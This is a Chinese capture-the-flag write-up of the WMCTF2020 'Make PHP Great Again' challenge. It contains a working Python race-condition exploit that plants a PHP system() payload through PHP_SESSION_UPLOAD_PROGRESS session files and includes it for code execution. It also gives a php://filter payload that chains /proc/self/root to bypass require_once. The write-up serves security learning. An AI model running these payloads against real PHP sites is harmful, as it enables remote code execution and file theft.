本文主要是介绍wmctf2020 Make PHP Great Again,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言:
太菜了,只能不断的复现题目来扩充自己的知识点。
考点:
require_once 绕过
PHP_SESSION_UPLOAD_PROGRESS文件上传
解题:
解一:
进入环境。
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}
现在看到 include 和 require_once 都会不由得想到 利用PHP_SESSION_UPLOAD_PROGRESS来上传临时文件去RCE。 上传利用条件竞争去访问 /tmp/sess_xxx进行文件包含。关于这方面的知识就不班门弄斧了:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
直接搬出我的exp:
import io
import requests
import threading
import timeurl="http://613661fb-f8a9-4121-91b4-4f1329e22bae.node4.buuoj.cn:81/"
sessid="snowy"
myfile=io.BytesIO(b"test.txt" * 1024)
writedata={"PHP_SESSION_UPLOAD_PROGRESS" : "<?php system('cat /var/www/html/flag.php')?>"}
mycookie={"PHPSESSID":sessid}def write(ss):while True:time.sleep(0.5)resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})def read(ss):while True:time.sleep(0.5)payloadurl=url+'?file='+'/tmp/sess_'+sessidresp=requests.get(url=payloadurl)if 'test.txt' in resp.text:print(resp.text)breakelse:passif __name__ == '__main__':envent=threading.Event()with requests.session() as ss:for i in range(0,30):threading.Thread(target=write, args=(ss, )).start()for i in range(0, 30):threading.Thread(target=read, args=(ss,)).start()envent.set()
能够直接跑出flag。 如果一步步 改命令的话,最好改一下sessid。
解二:
在这里有个小知识点,/proc/self 指向当前进程的 /proc/pid/ , /proc/self/root/ 是指向 / 的符号链接,用伪协议配合 多级符号链接的办法进行绕过
payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
一样能够得到flag ,具体文章可以参考:php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台
这篇关于wmctf2020 Make PHP Great Again的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!